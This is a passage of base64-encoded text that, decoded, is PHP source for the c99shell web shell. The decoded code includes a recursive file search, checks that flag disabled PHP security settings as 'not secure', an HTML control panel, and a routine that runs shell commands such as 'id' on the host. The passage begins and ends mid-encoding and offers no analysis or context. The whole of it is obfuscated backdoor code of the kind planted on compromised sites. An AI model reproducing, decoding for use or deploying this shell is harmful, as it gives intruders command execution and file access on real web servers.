ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3Vs
dFsibGltaXQiXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
MCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRbImxpbWl0Il1b
MF0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGFyclska10s
ICRhcnJbJGsgKyAxXSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBl
bHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAg
ICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlm
c2VhcmNoIikpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQ0KICAgICAg
ICB7DQogICAgICAgICAgICBnbG9iYWwgJGZvdW5kOw0KICAgICAgICAgICAgZ2xvYmFsICRmb3Vu
ZF9kOw0KICAgICAgICAgICAgZ2xvYmFsICRmb3VuZF9mOw0KICAgICAgICAgICAgZ2xvYmFsICRz
ZWFyY2hfaV9mOw0KICAgICAgICAgICAgZ2xvYmFsICRzZWFyY2hfaV9kOw0KICAgICAgICAgICAg
Z2xvYmFsICRhOw0KICAgICAgICAgICAgaWYgKHN1YnN0cigkZCwgLTEpICE9IERJUkVDVE9SWV9T
RVBBUkFUT1IpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGQgLj0gRElSRUNUT1JZ
X1NFUEFSQVRPUjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRoID0gb3BlbmRpcigkZCk7
DQogICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkYm9vbCA9IChlbXB0eSgkYVsi
bmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwgJGFbIm5hbWUiXSkgIT09IGZhbHNlKSB8fCAo
JGFbIm5hbWVfcmVnZXhwIl0gYW5kIHByZWdfbWF0Y2goJGFbIm5hbWUiXSwgJGYpKTsNCiAgICAg
ICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkZCAuICRmKSkNCiAgICAgICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNlYXJjaF9pX2QrKzsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpDQogICAgICAgICAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kW10gPSAkZCAu
ICRmOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZF9kKys7DQogICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2xpbmsoJGQg
LiAkZikpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgYzk5ZnNlYXJjaCgkZCAuICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzZWFyY2hfaV9mKys7DQogICAg
ICAgICAgICAgICAgICAgICAgICBpZiAoJGJvb2wpDQogICAgICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYVsidGV4dCJdKSkNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkIC4gJGYpOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBpZiAoJGFbInRleHRfd3dvIl0pDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyJ0ZXh0
Il0gPSAiICIgLiB0cmltKCRhWyJ0ZXh0Il0pIC4gIiAiOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGFbInRl
eHRfY3MiXSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQi
XSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkciA9IHN0cnRvbG93ZXIo
JHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF9yZWdleHAiXSkNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJv
b2wgPSBwcmVnX21hdGNoKCRhWyJ0ZXh0Il0sICRyKTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRib29sID0gc3RycG9zKCIgIiAuICRyLCAkYVsidGV4dCJdLCAxKTsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBpZiAoJGFbInRleHRfbm90Il0pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib29sID0gISRib29sOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIGlmICgkYm9vbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kW10gPSAkZCAuICRmOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kX2YrKzsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm91bmRbXSA9ICRkIC4gJGY7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZF9mKys7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgY2xvc2VkaXIoJGgpOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICgkYWN0ID09ICJnb2Zp
bGUiKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzX2RpcigkZikpDQogICAgICAgIHsNCiAgICAgICAg
ICAgICRhY3QgPSAibHMiOw0KICAgICAgICAgICAgJGQgPSAkZjsNCiAgICAgICAgfQ0KICAgICAg
ICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRhY3QgPSAiZiI7DQogICAgICAgICAgICAk
ZCA9IGRpcm5hbWUoJGYpOw0KICAgICAgICAgICAgJGYgPSBiYXNlbmFtZSgkZik7DQogICAgICAg
IH0NCiAgICB9DQogICAgQG9iX3N0YXJ0KCk7DQogICAgQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0K
ICAgIGZ1bmN0aW9uIG9ucGhwc2h1dGRvd24oKQ0KICAgIHsNCiAgICAgICAgZ2xvYmFsICRnemlw
ZW5jb2RlLCAkZnQ7DQogICAgICAgIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2Rl
IGFuZCAhaW5fYXJyYXkoJGZ0LCBhcnJheSgNCiAgICAgICAgICAgICJpbWciLA0KICAgICAgICAg
ICAgImRvd25sb2FkIiwNCiAgICAgICAgICAgICJub3RlcGFkIg0KICAgICAgICApKSkNCiAgICAg
ICAgew0KICAgICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICAgICAgICBA
b2JfZW5kX2NsZWFuKCk7DQogICAgICAgICAgICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOw0K
ICAgICAgICAgICAgZWNobyAkdjsNCiAgICAgICAgICAgIEBvYl9lbmRfZmx1c2goKTsNCiAgICAg
ICAgfQ0KICAgIH0NCiAgICBmdW5jdGlvbiBjOTlzaGV4aXQoKQ0KICAgIHsNCiAgICAgICAgb25w
aHBzaHV0ZG93bigpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICBoZWFkZXIoIkV4cGlyZXM6
IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7DQogICAgaGVhZGVyKCJMYXN0LU1vZGlm
aWVkOiAiIC4gZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpIC4gIiBHTVQiKTsNCiAgICBoZWFkZXIo
IkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQog
ICAgaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgZmFs
c2UpOw0KICAgIGhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KICAgIGlmIChlbXB0eSgkdG1w
ZGlyKSkNCiAgICB7DQogICAgICAgICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIp
Ow0KICAgICAgICBpZiAoaXNfZGlyKCR0bXBkaXIpKQ0KICAgICAgICB7DQogICAgICAgICAgICAk
dG1wZGlyID0gIi90bXAvIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkdG1wZGlyID0gcmVhbHBh
dGgoJHRtcGRpcik7DQogICAgJHRtcGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9SWV9T
RVBBUkFUT1IsICR0bXBkaXIpOw0KICAgIGlmIChzdWJzdHIoJHRtcGRpciwgLTEpICE9IERJUkVD
VE9SWV9TRVBBUkFUT1IpDQogICAgew0KICAgICAgICAkdG1wZGlyIC49IERJUkVDVE9SWV9TRVBB
UkFUT1I7DQogICAgfQ0KICAgIGlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKQ0KICAgIHsNCiAgICAg
ICAgJHRtcGRpcl9sb2dzID0gJHRtcGRpcjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAg
ICAgJHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTsNCiAgICB9DQogICAgaWYg
KEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUi
KSkgPT0gIm9uIikNCiAgICB7DQogICAgICAgICRzYWZlbW9kZSA9IHRydWU7DQogICAgICAgICRo
c2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9cmVkPk9OIChzZWN1cmUpPC9mb250PiI7DQogICAgfQ0K
ICAgIGVsc2UNCiAgICB7DQogICAgICAgICRzYWZlbW9kZSA9IGZhbHNlOw0KICAgICAgICAkaHNh
ZmVtb2RlID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+IjsNCiAg
ICB9DQogICAgJHYgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQogICAgaWYgKCR2IG9yIHN0
cnRvbG93ZXIoJHYpID09ICJvbiIpDQogICAgew0KICAgICAgICAkb3BlbmJhc2VkaXIgPSB0cnVl
Ow0KICAgICAgICAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iIC4gJHYgLiAiPC9m
b250PiI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgICRvcGVuYmFzZWRpciA9IGZh
bHNlOw0KICAgICAgICAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90
IHNlY3VyZSk8L2ZvbnQ+IjsNCiAgICB9DQogICAgJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRz
b3J0KTsNCiAgICBpZiAoZW1wdHkoJHNvcnQpKQ0KICAgIHsNCiAgICAgICAgJHNvcnQgPSAkc29y
dF9kZWZhdWx0Ow0KICAgIH0NCiAgICAkc29ydFsxXSA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOw0K
ICAgICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQog
ICAgaWYgKCFwcmVnX21hdGNoKCJQSFAvIiAuIHBocHZlcnNpb24oKSAsICRESVNQX1NFUlZFUl9T
T0ZUV0FSRSkpDQogICAgew0KICAgICAgICAkRElTUF9TRVJWRVJfU09GVFdBUkUgLj0gIi4gUEhQ
LyIgLiBwaHB2ZXJzaW9uKCk7DQogICAgfQ0KICAgICRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0
cl9yZXBsYWNlKCJQSFAvIiAuIHBocHZlcnNpb24oKSAsICI8YSBocmVmPVwiIiAuICRzdXJsIC4g
ImFjdD1waHBpbmZvXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+PHU+UEhQLyIgLiBwaHB2ZXJzaW9u
KCkgLiAiPC91PjwvYj48L2E+IiwgaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdB
UkUpKTsNCiAgICBAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwgJGhpZ2hsaWdodF9iZyk7DQogICAg
QGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwgJGhpZ2hsaWdodF9jb21tZW50KTsNCiAgICBA
aW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCAkaGlnaGxpZ2h0X2RlZmF1bHQpOw0KICAgIEBp
bmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsICRoaWdobGlnaHRfaHRtbCk7DQogICAgQGluaV9zZXQo
ImhpZ2hsaWdodC5rZXl3b3JkIiwgJGhpZ2hsaWdodF9rZXl3b3JkKTsNCiAgICBAaW5pX3NldCgi
aGlnaGxpZ2h0LnN0cmluZyIsICRoaWdobGlnaHRfc3RyaW5nKTsNCiAgICBpZiAoIWlzX2FycmF5
KCRhY3Rib3gpKQ0KICAgIHsNCiAgICAgICAgJGFjdGJveCA9IGFycmF5KCk7DQogICAgfQ0KICAg
ICRkc3BhY3QgPSAkYWN0ID0gaHRtbHNwZWNpYWxjaGFycygkYWN0KTsNCiAgICAkZGlzcF9mdWxs
cGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KICAgICR1ZCA9IHVybGVuY29kZSgkZCk7
ID8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0
ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50
LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQ
X0hPU1QiKTsgPz4gLSBjOTlzaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7
IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1m
YWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3Jv
bGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjog
IzEwMTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10
cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250
LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1T
SVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZ
OiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQt
RkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQt
V0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVY
VC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JB
VElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6
ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZm
OyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3
aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51
OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsg
dmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4
dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1l
bnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6
IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBB
cmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1s
ZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4
MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9t
YTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4
MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9t
YTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAw
MDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7
IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAw
MDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBi
b3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAw
OyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJv
cmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7
IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9y
ZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTog
MHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1m
YW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7
IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdp
bi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjQjdCMkIw
O31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250
LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0eWxlPjwv
aGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAwIGxl
ZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdp
bndpZHRoPTA+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2Ui
IGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRp
bmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBj
MCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVp
Z2h0PSIxNSIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bh
bj0iMiI+PHA+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJl
Zj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxi
PkM5OVNoZWxsIHYuIDw/cGhwIGVjaG8gJHNodmVyOyA/PjwvYj48L2ZvbnQ+PC9hPjxmb250IGZh
Y2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+
PHRyPjx0ZD48cCBhbGlnbj0ibGVmdCI+PGI+U29mdHdhcmU6Jm5ic3A7PD9waHAgZWNobyAkRElT
UF9TRVJWRVJfU09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+dW5h
bWUgLWE6Jm5ic3A7PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSAsIDkwLCAiPGJyPiIs
IDEpOyA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPjw/cGhwIGlmICghJHdpbikN
CiAgICB7DQogICAgICAgIGVjaG8gd29yZHdyYXAobXlzaGVsbGV4ZWMoImlkIikgLCA5MCwgIjxi
cj4iLCAxKTsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgZWNobyBnZXRfY3VycmVu
dF91c2VyKCk7DQogICAgfSA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPlNhZmUt
bW9kZTombmJzcDs8P3BocCBlY2hvICRoc2FmZW1vZGU7ID8+PC9iPjwvcD48cCBhbGlnbj0ibGVm
dCI+PD9waHAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkZCk7
DQogICAgaWYgKGVtcHR5KCRkKSkNCiAgICB7DQogICAgICAgICRkID0gcmVhbHBhdGgoIi4iKTsN
CiAgICB9DQogICAgZWxzZWlmIChyZWFscGF0aCgkZCkpDQogICAgew0KICAgICAgICAkZCA9IHJl
YWxwYXRoKCRkKTsNCiAgICB9DQogICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLCBESVJFQ1RPUllf
U0VQQVJBVE9SLCAkZCk7DQogICAgaWYgKHN1YnN0cigkZCwgLTEpICE9IERJUkVDVE9SWV9TRVBB
UkFUT1IpDQogICAgew0KICAgICAgICAkZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgIH0N
CiAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwgIlxcIiwgJGQpOw0KICAgICRkaXNwZCA9IGh0
bWxzcGVjaWFsY2hhcnMoJGQpOw0KICAgICRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQ
QVJBVE9SLCBzdWJzdHIoJGQsIDAsIC0xKSk7DQogICAgJGkgPSAwOw0KICAgIGZvcmVhY2ggKCRw
ZCBhcyAkYikNCiAgICB7DQogICAgICAgICR0ID0gIiI7DQogICAgICAgICRqID0gMDsNCiAgICAg
ICAgZm9yZWFjaCAoJGUgYXMgJHIpDQogICAgICAgIHsNCiAgICAgICAgICAgICR0IC49ICRyIC4g
RElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgICAgIGlmICgkaiA9PSAkaSkNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICRqKys7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIgLiAkc3VybCAuICJh
Y3Q9bHMmZD0iIC4gdXJsZW5jb2RlKCR0KSAuICImc29ydD0iIC4gJHNvcnQgLiAiXCI+PGI+IiAu
IGh0bWxzcGVjaWFsY2hhcnMoJGIpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICI8L2I+PC9hPiI7
DQogICAgICAgICRpKys7DQogICAgfQ0KICAgIGVjaG8gIiZuYnNwOyZuYnNwOyZuYnNwOyI7DQog
ICAgaWYgKGlzX3dyaXRhYmxlKCRkKSkNCiAgICB7DQogICAgICAgICR3ZCA9IHRydWU7DQogICAg
ICAgICR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+WyBvayBdPC9mb250PiI7DQogICAgICAgIGVj
aG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIgLiB2aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpIC4g
IjwvZm9udD48L2I+IjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJHdkID0gZmFs
c2U7DQogICAgICAgICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+
IjsNCiAgICAgICAgZWNobyAiPGI+IiAuIHZpZXdfcGVybXNfY29sb3IoJGQpIC4gIjwvYj4iOw0K
ICAgIH0NCiAgICBpZiAoaXNfY2FsbGFibGUoImRpc2tfZnJlZV9zcGFjZSIpKQ0KICAgIHsNCiAg
ICAgICAgJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGQpOw0KICAgICAgICAkdG90YWwgPSBkaXNr
X3RvdGFsX3NwYWNlKCRkKTsNCiAgICAgICAgaWYgKCRmcmVlID09PSBmYWxzZSkNCiAgICAgICAg
ew0KICAgICAgICAgICAgJGZyZWUgPSAwOw0KICAgICAgICB9DQogICAgICAgIGlmICgkdG90YWwg
PT09IGZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdG90YWwgPSAwOw0KICAgICAgICB9
DQogICAgICAgIGlmICgkZnJlZSA8IDApDQogICAgICAgIHsNCiAgICAgICAgICAgICRmcmVlID0g
MDsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHRvdGFsIDwgMCkNCiAgICAgICAgew0KICAgICAg
ICAgICAgJHRvdGFsID0gMDsNCiAgICAgICAgfQ0KICAgICAgICAkdXNlZCA9ICR0b3RhbCAtICRm
